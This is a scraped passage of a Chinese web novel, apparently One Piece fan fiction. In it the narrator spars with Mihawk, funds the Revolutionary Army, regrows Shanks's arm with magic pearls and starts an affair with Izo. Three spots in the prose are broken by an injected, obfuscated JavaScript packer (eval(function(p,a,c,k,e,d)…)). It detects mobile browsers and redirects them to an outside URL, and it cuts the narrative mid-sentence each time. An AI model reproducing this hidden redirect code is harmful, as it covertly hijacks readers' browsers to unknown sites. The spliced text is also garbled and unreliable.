我没有搭理他,与身旁人搭话:“之后要不要切磋一下?” “你也用剑。”被他人称为鹰眼,拥有锐利黄色瞳孔的男人直白道:“你的剑没有杀气。” 我微微挑眉:“那就不能切磋了?” 鹰眼平静道:“可以,我只是好奇。” 那你这样子还真不像是好奇。 我将这话吞咽进肚,没有说出口。 好半晌,我方才悠悠道:“因为不想,等想的时候,就有了。” 这位被誉为世界第一大剑豪的男人,或许能让我的心态产生一些新的变化。 鹰眼打量着身旁的女人,最后颔首默认。 见鹰眼应下后,我便将剑放在桌上,静静等待海军高层们到来。 他人并未贸然开口,只是心里衡量着自己与这位月光猎人的实力差距,衡量着对方一剑能打几个自己。 并非高看他人小瞧自己,而是能应下海军邀约来到此处之人,各有各的目的,为了防止他人破坏自己的目的,自然要仔细想想什么人需要交好,什么人不必在意。 25.切磋 等到海军姗姗来迟时,那两位被我送上见面礼的准同僚也已经包扎完毕,即便室内血腥味尚未散尽,但双方却也扯着一块遮羞布没有将事情挑明。 “诸位也都是扬名许久的强者,日后如何,想必不用多说……”戴着眼镜的海军元帅战国坐在上方说着场面话。 然而并没有几个人听他唠叨。 看着桌上颇有特色的美食,我只想赶紧结束会议去跟鹰眼切磋。 好在这位海军元帅似乎也知道说多了无用,不过简单讲了几句便让人将纸笔送上。 签下名字后,我看了一眼鹰眼,“一起?” 鹰眼颔首,起身站在我身边,我们两个我行我素无视海军的模样成功让对面的海军冷下了脸。 但我一个独行侠,没有朋友没有亲人,怎么可能在乎海军的冷脸呢? 再说了,刚刚应了世界政府与海军的邀约成了王下七武海,转头海军就把我刀掉,以后谁还敢放心跟海军合作呢? 跟在两个小海军身后,我侧头看向一群奇形怪状存在里长相难得清俊的鹰眼,轻声询问:“去哪里切磋?” 我心里偏向于找一个无人海岛,只是不知道这位看上去冷淡的大剑豪属意何处。 鹰眼目视前方,颇有几分随意:“无人之地足矣。” 对于鹰眼而言,试图挑战自己的人不少,而鹰眼也并不会拒绝他人的挑战,切磋,也就是不下死手的挑战。 在见过那如漫天雨丝般的剑光后,鹰眼自然有几分手痒,答应也是必然的事。 或者换句话来说,就算月光没有邀请,鹰眼也会询问。 至于男女?切磋挑战,不论男女,只论输赢。 一大一小两艘船急行找到一座荒岛后,便开始友好切磋。 鹰眼用的,是无上大快刀十二工之一的夜,乱刃弯刀,同时也被誉为当世最强的黑刀。 我持有的,是系统送予我剑术小成的青铜剑,剑面锈迹斑斑,约一臂长短,古朴厚重。 “为什么你持有的是刀却被称为剑豪?”我看看手中的青铜剑,再看看鹰眼手中的弯刀,有些困惑。 鹰眼瞥了我一眼,“因为上一任剑豪落败于我刀下。” 而且称号而已,有什么好在意的? 曾经年少轻狂因为世界第一大剑豪这个称呼连夜将人找出来与对方生死决斗的鹰眼看着年轻女人,询问:“打不打?” 打,肯定要打。 我将剑鞘扔给系统操控的木偶,持剑看向面容沉静的鹰眼。 这个世界的强者,一部分依靠恶魔果实的能力,另一部分依靠自身的硬实力,当然,这两者之中都有掌握了霸气的存在。 我接触过霸气,但也从没有将霸气作为如臂之使指一般掌控它,见闻色霸气,武装色霸气,霸王色霸气,无论哪一种,对我而言似乎都是有些遥远的存在。 可鹰眼不同,他掌控了霸气,最少也掌控了一种,而且他是真正杀过人、甚至一人面对数人不落下风的存在。 我不同,且先不说霸气如何。 我从未杀过人,上一世便不必说了,和平的生活环境让我连锻炼都已经不知道放弃了多久,这一世虽然将训练提上了日程,也的确小有所成,但我相信,我绝对比不过那些在生死之间磨练出的强者。 摸着尾指上的戒指,我将它也一并摘下递给木偶,见鹰眼依旧是那副耐心十足的模样,一口浊气吐出,提剑上前。 我所学习的剑术,最初是波德莱尔与兰波教导,待有所小成后,便在系统推荐下购买了一本据说曾经来自修仙界的剑法。 * 不一样。 鹰眼用刀挡住漫天柔和剑光,如鹰般锐利的眼眸紧紧盯着对面手持长剑的女人。 与先前如漫天细雨般锐利难避的剑光不一样,这次的剑,换了剑意。 很有趣,但没有杀气,更没有杀意,持剑之人经验不足,漏洞太多。 鹰眼在心中一一点评,最后为这场切磋划上句号,让刀光将柔和剑光斩断,而后收起弯刀,抱胸点评道:“还有很多进步的空间,你学剑时间不长,从前的武器是什么?” 我靠着树坐下,见鹰眼背光走来,轻咳两声后笑道:“谢谢你手下留情啊,不过我从前可没有什么武器一说。” 见鹰眼不解,我伸手示意他拉我起身,回了船上后方才告知他:“我从前其实一直被保护的很好,你们所不屑的贵族小姐?大概被这样称呼过。” 在这个世界的确如此,即便是那什么cp组织去查,也没有破绽可以被抓到。 “至于剑,的确是我最为熟练的武器,整整练了五年呢。”靠着沙发,我轻叹道:“不愧是世界第一大剑豪啊。” 目送着这位大剑豪离开,将对方的生命纸收好,我也不打算久留。 虽然自认为动静不大,但难保有什么人就在附近,以我现在这种只能欺负欺负一般恶魔果实能力者的小人物,还是尽快离开比较好。 用水将脏污清理干净后,我随手将天上的海鸥击落,对比海图与系统商量接下来去什么地方磨练更好。 系统思索良久,最后缓缓道:【不如我们也四处挑战强者好了,挑那些脾气好的,这个世界的霸气也是不错的东西,我们也可以试着学习,还有之前你说要给革命军送钱,我最近找到了革命军的消息……】 【还是先去找革命军。】我很好奇,这个世界的革命军都能做出些什么改换天地之事,也并不介意给出一部分帮助。 仅限钱财。 脸上带有奇怪刺青的高大男人轻轻敲着桌子,周边是服装颇有特色,有几位甚至称得上怪异的人围坐着桌子,明亮的灯光让男人脸上的思索也被看的清楚,只是在座各位都是自己人,便也无所谓了。 “资助我们?”这位表情凶恶的男人,也是革命军的首领,龙撑着下巴看向周围志同道合的同伴:“你们如何看?” 留着紫色短发的女人直白道:“我们这么多人都在这儿,就算是世界政府想要钓鱼,也不可能一网打尽,见一见又有什么关系?” “而且,龙。”贝蒂看向龙,平静道:“我们的确缺钱缺粮缺药……如果对方真的愿意帮助我们,就算别有用心,又有何妨呢?” 无论是为了试探革命军的实力也好,还是真心想为革命军的解放事业出一份力也罢,总归要先看过再说。 【那边似乎商量好了。】系统看着琉璃准备的钱财,担忧道:【如果他们见了你将你与革命军接头的事散播出去……】 我合上箱子,询问系统:【支线任务还差多少?】 系统看了一眼,而后报了个数字,【三十七,怎么也要一半以上咱们才能拿到一部分积分。】 【这个世界如果烂成这种样子,连口口声声说着要解放民众,推翻贵族的革命军都如此,那我们就可以直接掀桌子走人了。】 天龙人、贵族、世界政府、海军、革命军、海贼、赏金猎人,从上到下谁都别想跑,出好主意不会,馊主意难道还想不出来吗? 阴谋诡计玩不过,逼急了那就一场海啸全都淹了。 【至于积分……我可以躲在海里,难不成他们也能潜进深达数万米的海底寻找我么?】 我自认自己不是什么会伤害自己解救他人的圣人,家中尚有兰波盼着我回家,我决不可能为了旁人伤害自己,既然做了选择,那就要提前想好后路才行。 只有确定自己安全,我才会尝试接触其他势力乃至其他人,反之,那便偏安一隅。 我随意找了个地方坐下闭目养神,待革命军派来的人出现,方才开口:“革命军真是高看我,竟然是首领亲自过来。” 龙抬头看去,下意识怀疑是不是世界政府或者海军洒下的鱼饵,不然为何接头之人竟是位看上去便娇生惯养的贵族小姐? 幽暗深夜之中,坐在粗壮树枝上的少女靠着树干,耳间一对引人注目的宝石耳坠,穿着衬衫与长裤,脸上带着几分笑意,但眼睛却是冷的,像是在打量什么一般。 革命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128434|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军的首领,龙,被世界政府判为最穷凶极恶的罪人,带领革命军推翻过诸多国家的暴政。 看长相,的确不像是什么好人,但能有胆量独自过来与我交谈,想必也是做好了被我背刺的准备。 我与他彼此互相打量,互相防备。 直到我问起革命军的理念,龙方才坐下缓缓讲起革命军的目的。 推翻贵族,解救民众,听上去的确很不错。 “天龙人呢?”我询问到,“而且你们如何保证不会再出现试图复兴贵族的残党?” 龙眼神放空,平静道:“天龙人也是需要推翻的一部分,至于如何保证?” “保证不了。”龙十分坦然:“但只要这样的思想传播出去,那样和平的未来被民众所看见、亲身经历过,那些试图恢复贵族奴隶制度的人自然不会得逞。” “一代人有一代人的事要做。”我接道。 龙颔首,扯出一个笑:“是,我们只能尽力而为。” 我盯着龙,半晌后抬抬下巴:“挖开你脚下那片土地吧。” 那片刚刚被埋下十数箱财宝的土地,也是我与革命军第一次接头为他们带来的小小资助。 留下一个电话虫后,我便转身离开,并没有继续跟这位革命军首领交谈的意愿。 【革命军也有很多强者吧?为什么不在革命军内进行锻炼?】系统有些困惑。 我与水中的鱼类交流,得知龙身后其实还跟了一部分革命军的干部,也不觉惊讶,毕竟双方从不相识,对方防备才是正常的。 【革命军,说到底也是一个组织。】我眯眼看向远处那岛,按照先前买来的情报名单,找到其中据说是名单内实力最弱的一位,让系统向对方所在处行驶。 【既然是组织,而且还是专门跟贵族、世界政府作对的组织,那组织内有间谍也不是什么罕见的事。】我在船上缓缓练着剑,教着系统:【我与革命军接触,但没必要加入革命军后冒着被人发现的风险提心吊胆的。】 【不值得。】 我只是想资助革命军一点钱财,又不是打算让自己整个人都上了革命军这艘船,简单了解一下就好,没必要过多交流。 【那之后还要送钱吗?】 【随缘了,碰到的话就送一点,碰不到那就让他们自求多福……】 听着海浪声,我有些遗憾,这样奇异瑰丽的世界,这样不曾被污染的景色,竟不能与兰波共赏。 可一向偏爱放任我的系统,在这方面却始终不肯松口,我便也只能暂时作罢。 * “真是大手笔……”望着一箱箱被搬运出的财宝,看着箱内一箱箱金砖、宝石,龙难得有些受宠若惊之感。 革命军成立以来,一直都属于什么都缺但又什么都有一点的状态。 像是今日这样天上掉馅饼让革命军一下就陷入一种钱财爆满的状态,倒的确是第一次。 “幸好来了,不然错过这些,之后还要有多少人受苦啊……”贝蒂惊叹着拿起一块金砖,切开后见内外如一,不禁询问龙:“怎么样?资助咱们的好心人留下什么联系方式了吗?” 这样出手阔绰的资助人如果龙说什么都没留的话,贝蒂觉得自己可能需要好好想想怎么才能揍到龙长记性又不会影响工作。 在人走后才恍然想起之前好像在什么报纸上见过对方的龙搬着箱子:“留下了电话虫,但看上去并没有要跟我们过多交流的样子。” 至于对方一点伪装都没有做,而且自己也认出对方是谁这种事,龙并没有告知旁人。 秘密,只有一个人知道才是秘密,多一个人知道,那变成人尽皆知也就是时间的事。 龙不确定对方如何看待革命军,但目前起码能保证对方是善意的,可如果自己将对方接触甚至资助革命军的事说出去呢? 一切谨慎为好。 看着堆满一整个房间的财宝,几位干部不禁开始思索这些财宝能购买多少粮食与药品。 “真是个好心人啊……” 26.再生 在系统的帮助下,我重复着挑战他人,而后或输或赢,输了狼狈逃跑,赢了总结经验的日子。 苦吗?我感觉算不上苦,但的确有些疲惫,两年间除了探望兰波与一年一次的海军召集会议之外,我几乎都在来回奔波,挑战强者的路上没有停歇,且由于新世界的岛屿季节大都固定,对时间也没了太多的观念。 但成果却是可喜的。 虽然对于这个世界最为特殊的霸气我并不能学会,但是在多次实战下,我也成功能跟鹰眼打上几个来回。 虽然依旧不能让鹰眼成为我的手下败将,但我对自己的进步已经很满意了。 人嘛,还是要学会满足的。 脚踩鹿皮短靴,身穿红色羊毛衫,手上拿着把陈旧古朴的青铜剑的青年不断呼出热气,脚踩在宛若棉絮般轻柔的雪层上,身上罩着件不知什么动物皮毛做成的宽大斗篷。 “也不知道这附近有没有什么山洞之类的……”我搓了搓被冻红的手,望着周边一片空寂之景,加快脚步走向山顶。 据说这座岛上,有极为罕见的连蕊花,花生双蕊,生于极寒,服用可严寒不侵、霜雪不扰。 没有锻炼出武装色霸气,我自然要想办法作弊武装自己。 有没有用,我尝试后自然知晓。 完成支线任务后在我建议下化身为红宝石鹦鹉陪伴我的系统也缩在我斗篷里瑟瑟发抖,清脆的声音提醒我:“东南边!东南边有山洞!” 我看看还要走一段时间才能到达的山顶,转道走向山洞,见其内并无旁人,简单整理一番,生了篝火后坐下歇息。 如果说在兰波身边,我被金银珠宝富养着,那在这个世界,我便是成功学会了独立。 “有人来了!有人来了!”系统出声提醒,但却并没有从斗篷里跑出来警惕,我心道:这大抵是从前遇见的熟人,系统认为对方不会伤害我,这才没有出来,便也只是静静将身边的干柴放进火堆内,维持着火苗。 不过该说不说,系统装鹦鹉装的倒是很像,连这种刚刚学会说话所以喜欢重复的习惯都模仿的惟妙惟肖,真是了不起。 山洞外嘈杂又有些熟悉的声音响起,这个说一看脚印就知道里面肯定有人,那个则说刚刚不就看见了船之类的话。 我抬头看去,只见满目如火焰般的红映入眼帘,好似将山洞都带的更炎热了一般。 再往下看,的确眼熟,这不就是当初在风车村见到的红发海贼团众人么。 * 登上这座冬岛前,香克斯还在埋怨贝克曼不让自己大开宴会。 “如果你想未来半年都面对财政赤字的话,那你随意。”身为副船长同时也负责掌管财务的贝克曼叼着烟,曾经的黑发变为灰发,马尾也变成了背头,强壮许多的男人叼着烟冷哼道。 在风车村被近海之王咬下左臂的红发男人好似完全察觉不到越发寒凉的空气,依旧将衬衫敞开大半,穿着人字拖,嘴上哈哈哈大笑着,没再提关于宴会的事。 “老大!那边已经停靠了一艘超华丽的大船诶!”在高处眺望远方的狙击手耶稣布大叫道:“超级华丽啊!” 香克斯朝耶稣布指的方向看了一眼,而后啧啧称奇:“这是哪家的大小姐跑出来了?还是什么公主公爵?” 足有五层高的巨船,其上点缀着丝绸绫罗、鲜花珠宝,虽然看上去空旷旷的,只有几个木偶端着托盘,但这也不能妨碍船隔着老远便散发出‘我很贵’的刺目光芒。 这些年因为主船上经常增加伙伴所以也不断扩大船体的香克斯啧啧称奇:“贝克,你快看,之前雷利先生还说主船不需要那么多人,我扩建的船太大了没有必要,真应该拍下来照片让雷利先生也看看啊。” 贝克曼吐出缭绕烟雾,平静道:“船上没人,那就是在岛上了,还上去么?” 因为香克斯手臂原因,近些年一直试图寻找医生或者珍惜药草医治手臂,而这次被红发海贼团注意到的,便是连蕊花。 香克斯随意道:“有什么好避让的?” 贝克曼这才露出个笑,走在香克斯身旁,警惕心让他下意识使用见闻色探查,而后面色古怪道:“岛上似乎只有一个人。” 耶稣布惊讶道:“怎么可能?”说着,他便用见闻色探查,而后迷茫道:“真是一个人?!” 香克斯将手放在格里芬上,笑道:“那就过去看看好了。” 一行人脚程极快,不过片刻便到了山洞附近。 雪地之上尚未被掩埋的脚印清晰可见,直直冲着山洞走去,看方向,应当是从别处走来的。 一行人走至山洞外,听见里面似乎并非正常人发出的清亮之声,有的看向喜欢四处交友的香克斯,有的看向身为花花公子经常被情人找上门的贝克曼。 走在最前面的香克斯愣住了,他看向自风车村一别后便只能从他人口中得知近况如何的女人,下意识庆幸,幸好刚刚在船上没有坚持要开什么宴会。 靠着墙壁屈腿坐着的女人头发比三年前更长了,容貌似乎也又长开了些,眼睫低垂着,好似一片轻薄却锋利的刀刃一般落下阴影,手上拨弄着火堆,穿着猩红色的羊毛衫、笔挺的蓝色牛仔裤,踩着双鹿皮短靴,宽大柔软的斗篷随意搭在腿上,里面只有手掌大小的粉色鹦鹉正探头探脑看着自己。 香克斯张张嘴,又合上,片刻后方才笑道:“好久不见啊,琉璃小姐。” 她看过来了,眉眼间带着倦意,依旧戴着那对红宝石耳饰,在火光照映下皮肤好似都多了几分血色,眼神一如往昔。 她看向了我,或者说……我们。 香克斯无奈承认了这一点。 “啊,是你们啊。”我反应了一下,而后意思意思挪了一下:“外面风雪大,进来说话吧。” 望着面容大变的几位……勉强算是老熟人的存在,我一时间也找不到什么话题,直到香克斯询问我怎么过来的,我方才困惑道:“外面的船难道被什么人带走了吗?” 贝克曼添柴的手顿了顿,低声询问:“那是你的船?” “那个五层的大船?”我试探道,见山洞内众人点头,方颔首:“是我的船,怎么了?” 没什么,只是惊讶而已。 贝克曼瞥了一眼香克斯,看着身旁毫无察觉,或者说懒得搭理的女人,询问:“你来冬岛是为了什么?” “连蕊花。”我并未隐藏,毕竟如果不是有目的,谁会来到这种地方?我理想的温度是法国的春天,而不是这种冷的让我怀疑血液是不是都被冻住的鬼地方。 香克斯笑道:“这里景色也很不错,我们就是为了……” “就是为了连蕊花。”我端着保温杯喝了两口热水,面不改色道:“不要以为我没有看到你的手臂,怎么说我也在新世界闯了几年,知道一些情报也不过分吧。” 说着,我扔了个珍珠过去,见旁人不再开口,只静静在一旁听着我与香克斯交谈,便问贝克曼:“你们得到的药方是什么?还是说要直接吃?” 贝克曼看了一眼香克斯,而后方才将药方递出。 我看了一眼,而后看看香克斯,不禁吐槽:“这是什么灵丹妙药,吃进肚子里就能百病俱消,闻一闻就能长生不老?” 指望着这种药方,还不如找个恶魔果实能力者治一治。 “找了啊。”香克斯把玩着手中不算圆润的珍珠,随意道:“但是恶魔果实也不是万能的,即便是曾经被悬赏五十亿的手术果实也不能做到断肢再生……” “是么?”我点评道:“那看来恶魔果实也没什么用,吃了还不能游泳……真是鸡肋。” 点评过后,我便问香克斯:“你是非连蕊花不可呢,还是只要手臂恢复就可以爽快放弃呢?” 我自己肯定是非它不可的,毕竟在这个世界,霸气我学不会,除了实战经验和已经增强的实力,我总是要带走些什么的,连蕊花,我势在必得。 香克斯自己其实对手臂如何没什么所谓,但身边的伙伴在意,他总不能辜负这份心意。 而且如果有恢复的机会,谁会不希望自己能够没有这样一个弱点呢? 香克斯双眼放光的模样逗笑了我,将化作珍珠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132768|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼泪递给香克斯后,我方对瞠目结舌的香克斯解释:“捏碎一颗珍珠,如果不能保证你的手臂断肢再生,那再捏碎另一颗。” “有副作用吗?”身为靠谱的副船长,即便面对曾经稍有好感的女性,贝克曼依旧没有失去理智与警惕。 “没有。”我微微摇头,“断肢再生、暗伤修复,可能唯一的副作用,就是骨肉筋皮重新生长的疼痛需要忍一忍,重新生长出的手臂需要适应一段时间。” 在挑战那些强者的路上,我也并不是一帆风顺,全然没有受伤的,不过只要我能跑得掉,之后恢复伤口乃至断肢再生也没什么难度,而且经过我个人亲身实验,我发现断肢再生,也是根据我最好的身体状况再生。 香克斯爽快的捏碎了一颗珍珠,心里刚有些许惋惜之情,便被手臂重新生长的酸痒痛意逼退。 与旁人的担忧比起来,我则悠闲许多,在香克斯身边等待手臂完全生长出来后,便起身拍了拍身上的灰:“好了,你的手臂长出来了,连蕊花我就收入囊中了。” 说着,我便披上斗篷,将系统放在肩上打算离开。 “请稍等。”香克斯伸手拉住斗篷,抬头笑道:“你取连蕊花是为了什么呢?或许我们可以帮助你也说不准。” 我微微挑眉,见香克斯一副如果我不说他便不松手的驾驶,抱胸将前因后果说了出来。 “诶!!!” 山洞内众人惊呼之声让我不禁捂住耳朵,对系统吐槽:【这有什么值得惊讶的?】 【毕竟你都在新世界如鱼得水混了三年,什么霸气都没学会谁知道了都会惊讶吧。】系统试图解释。 我低头轻轻踢了香克斯一下:“松手,不要扯着我的斗篷,我最近很喜欢它,你如果扯坏了就去自己给我做一件出来。” 香克斯松了手,困惑道:“什么都没学会吗?武装色,见闻色,霸王色,都没学会?” 我越听越生气,咬着牙冷冷道:“是啊,我就是这么无用,什么霸气都没学会,你是想听这个吗?” 贝克曼蹲着将被香克斯抓皱的布料抚平,而后起身询问:“鹰眼不是经常和你切磋?他没说什么?” 我想起经常指导我的人生良师,面色稍霁:“米霍克先生?他认为如果学不会霸气那就只能多锻炼身体厚积薄发了,所以我经常过去请教。” “米霍克先生真是个面冷心热的好心人啊。” 原本还冷淡的女人在提到鹰眼时柔和几分的模样让香克斯的心情跌到谷底。 香克斯试探道:“那不如我教你如何学会霸气?” 我瞥了一眼香克斯,指了指香克斯:“你,是被世界报报道,海军与世界政府通缉的大海贼。” 见香克斯反应过来,我指了指自己:“而我呢,是接受海军招揽的七武海,如果咱们两个凑到一起,我可没有米霍克先生的实力。” 能直接跟五老星谈条件的大剑豪愿意偶尔指导我,我已经很惊喜了,何必再跟经常被海军监视的这些家伙有过密来往呢。 “而且啊,我已经放弃学习霸气了,就算没有霸气,旁人又能对我如何呢?”女人轻轻靠着石壁,点了点自己的眼睛:“只要不能一击必杀,剩下旁人只能等我报复了。” “记得保密哦……” 远远传来的叮嘱声让本就庆幸自己此次只带了几位干部的香克斯更是暂时放下了那些心中不曾言说的思绪,平静而又严肃道:“刚刚发生的事,大家便不要外传了。” 泣泪成珠,泪珠又能断肢再生,这样的事若是传出去,那就不是身为七武海跟大海贼相交过密这种好解决的事了。 到时候,说不准天龙人都会出手。 几位干部也都知道轻重,自然是应下不必多提。 “毕竟治好了头儿,也是咱们海贼团的大恩人了吧?” “让头儿报恩,头巴不得呢。” 听着同伴嬉笑之声,香克斯起身活动着左手,走到洞口后想起刚刚琉璃对鹰眼的评价,不禁冷笑。 外冷内热?拿这种词来形容他,可真是……好笑。 27.花朵 告别香克斯一行人,我也没有磨蹭,快步便前往山巅摘下那一朵连蕊花吞入腹中。 【怎么样?有用吗?】虽然会扮成鹦鹉陪伴我,但涉及要紧之事还是只会与我在脑海中交流的系统急迫询问。 我皱着眉,将斗篷拿在手中后缓缓点头:【一点点作用吧,不算多,但如果脱下斗篷,起码不会冻得皮肤都变红……也就仅限于此了。】 没办法,毕竟我的身体跟这个世界的人不一样,所以强求也无用,争取过之后就算结果不尽人意,我也能爽快放下了。 总归也算是努力过了,这个世界不行,说不准日后其他世界就可以呢? 随意找了座温度常年停留在夏季的岛屿登上后,我也偶遇到了来到这里后最为符合我审美观的男性。 穿着粉色女性和服,梳着高耸发髻,涂着心型口红的男人生的柔美,虽然穿着异性服装,但并不娇小。 只是身份麻烦了些…… 白胡子海贼团的人,白胡子主船十六番队的队长……不适合随便招惹。 我想要的,是双方心甘情愿的露水姻缘,一夜过后各奔东西,但这种难搞的角色……我还是有些放不下。 我看向系统,系统叹了口气,拍拍翅膀,高声道:“买这个!这个好看!” 说着,便落到那男人身上。 对于系统而言,它从来都不会反对一切安全健康情况下能让琉璃开心的人事物,所以帮助琉璃也并不是什么值得惊讶的事……男鬼除外。 系统发誓,自己与男鬼绝对不可能和谐共处。 男人,或者说白胡子十六番队队长,以藏。 他轻轻伸手将飞舞着高叫的鹦鹉轻轻拢在手心内,抬眼后微微提起警惕,含笑询问:“月光?从前你不是一直避着老爹势力范围么?怎么如今反倒主动过来了?” 不躲了? 以藏虽然是女性装扮,但面容并不是女性的柔美,而是带有男性特征的清丽,棕色的瞳孔在上扬眼线衬托下,似乎都带了几分勾人之感。 素白的手逗着颜色艳丽的鹦鹉,眼睛则紧紧盯着鹦鹉的主人,脸上的笑意与眼中微微提起的警惕截然相反。 我轻咳一声,鹦鹉并未移动,高喊道:“这个漂亮!带走!带走!” 深吸了一口气后我咬着牙对以藏尽量放平心态:“抱歉,小西不懂事。” 顿了顿,我严肃道:“从前并不是避开白胡子先生,而是避开三位海上皇帝旗下势力,毕竟当海贼猎人没什么,如果去当海贼的话……” 以藏微微挑眉,想起先前在情报里看见的文字,不知抱着什么心情询问:“会被家里放弃?” 我看向以藏,轻叹道:“有没有一种可能,我家里是我当家作主?” “我担心的是,如果我成了海贼,就会被家里人抓回去继承家产什么的……骗你的。”随手将系统从以藏手里接过来后,我方才对不知为何愣神的以藏解释道:“不当海贼,其实是不希望家里人担心什么的……毕竟如果我真的上了通缉令,大概那家伙会砸钱让人将通缉令撤销,这种事情还是免了吧。” 想起兰波,我轻叹道:“好啦,怎么也是主船上的队长,跟着我这种小人物做什么?”我抬头看向以藏,含笑道:“我只是上来闲逛而已……如果你再跟下去,我会十分自信的认为你是想要成为我的情人哦。” 阿蒂尔.兰波.琉璃,一个闯入新世界不过一年就被海军招揽成为七武海,而后四处挑战强者,赢了转头便走,输了回头再战,不过两年便能做到与当世第一大剑豪鹰眼米霍克对战数十回合不落下风。 即便是海上三位皇帝,也在情报到手后约束手下势力不愿去招惹这位从不杀人的独行侠。 以藏微微低头,看着女人似乎始终在思念着什么人的双眸,本想询问,话到嘴边,却成了应允。 “到手了!美人!”系统高声说着只有我与它能听懂的话,我将一瞬间显露的震惊收回,皱眉道:“抱歉,刚刚我有些轻浮,我只是开玩笑的。” 以藏轻笑着凑上前,“可我不是。” 月光猎人,从不杀生,若说是第二个泽法也不贴切,可旁人称呼这位月光猎人为贵族富商家的小姐也不见她有多骄傲,明明有着被赞誉为可与月光媲美的品行与容貌,却连一点花边绯闻也不曾有,明明拥有着几位海上皇帝也看好的潜力,但她却哪边也不靠。 成为七武海,却也没有什么动作,只喜欢四处挑战比自己更强的强者,记录四方美景,堪称是物欲极低的一个人。 这样的一个人,眼中却总是蒙着一层雾,遮挡着她眼中的情绪,同样也阻止了他人想要靠近的脚步。 谁会不想拨开这层雾,走到这样一个人的心里呢? 所以无论对方是不是开玩笑,身为海贼且对面前这人十分感兴趣的以藏,都不可能错过这样一个机会。 我伸手,轻轻摸着以藏的脸,仔细端详着对方,片刻后方柔声问:“可以只做露水姻缘吗?” 我不打算对这个世界的任何人负责,露水姻缘,足矣。 以藏垂眸笑道:“当然可以。” 以藏在选择跟随当年的主公出海,后来留在白胡子这艘船上成为海贼时,便已经没了娶妻生子的念头。 露水姻缘,刚刚好,不会牵连对方,更不会让彼此陷入无边的纠结与怀疑之中。 【终于还是让你得手了啊……】系统啧啧称奇【这个世界的家伙好单纯哦,你勾勾手指就过来了。】 【不是单纯。】我用手指轻轻给以藏点上豆沙粉的口红,依旧按着以藏先前的心型来描绘形状,同时也没有忘记系统,【我们彼此阵营不同,他是海贼,还不是什么小海贼,是白胡子这位海上皇帝主船上备受重用的队长,而我呢,明面上是与海军与政府合作的七武海,我们两个如果只是短暂的露水情缘,顶多被人调笑一阵,可若是真要在一起,于我于他都不是什么好事……】 最重要的当然也是因为彼此都不打算对对方负责了,不然千难万险,也总能走出一条新路,就像我与兰波。 我轻轻擦掉手上残余的口红,勾着以藏的头亲了亲他的侧脸,对浑身僵硬的以藏笑道:“要去我的船上吗?或者你需要提前跟手下的船员交待些什么?” 柔软的女性躯体靠来,伴随着轻柔一吻留下的,还有女性身上浅淡的香气。 那是只有凑得极近时才能闻到的香,不是什么所谓的体香,只是洒在衣物、脖颈上的香水,亦或是熏香,只是以藏分辨不出。 好像是初雪落在眉睫之上的轻柔,又好像是纷扬大雪坠落之时落在树枝上压弯树枝冻碎枝叶的凉。 以藏分辨不清,但他十分肯定如果自己说需要交待什么,会惹恼对方,他看向总是面带笑意,却也眼含忧愁的女人:“没什么好交待的……你的船在哪儿?” 我牵着以藏的手,那手并不柔软,手掌乃至指节都带着硬茧,我不喜欢,但也不讨厌。 缓缓漫步在街上,我看向以藏,轻叹道:“以藏先生真是位如木棉花一般的美人。” 面容清俊,脾性温和,带妆时却又多了几分艳丽逼人之感,与他人不同的装扮好似盛放之花。 纤细柔和的眉毛簇起时宛若尖锐伤人的毒刺,让你在欣赏这花生机勃勃盛放之美时,却也难以忽略他那伤人护己的刺,即便小心避开,却也只是一时之功。 有的花生长在温室内,有的花生长在极境中,还有的,不甘心做花,做一朵柔软任人摆布的花,所以拼尽一切长成了稚嫩的小树,前程未知。 以藏微微挑眉,并未点评什么,多年海上行走,以藏虽然不喜他人面对自己穿着时的异样目光,但也并不讨厌这样纯粹的赞扬。 无视路上碰见自家队长被陌生女人乖乖牵着时震惊的那些家伙,我缓缓走上船,看着满眼惊叹的以藏,伸手轻笑道:“上来吧,如果你愿意的话。”、 以藏此时,方才对他人为何称呼这位月光猎人为贵族小姐有了几分实感。 是啊,除了钱多的没处花的贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138992|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族与富商,还有什么人会将宝石珍珠等用来装饰一艘船呢?不会有了。 以藏轻轻跃上甲板,没有伸手,我倒也不觉有什么,将手收回,并没有带着以藏在船上闲逛,而是问他:“露水姻缘,好聚好散?” 以藏颔首,行动间带着几分随意:“好聚好散。” 彼此都知晓对方不打算有什么紧密联系,这样未来就不会有什么感情上的纠纷,这可真是太好了。 这种美德,很多人就没有。 我这才放心,轻轻拉着以藏进入卧室,拆散以藏的头发,看着以藏的眼睛,再次夸赞道:“以藏就像是盛放到最为艳丽之时的花,真的真的让人很难不喜欢呢。” 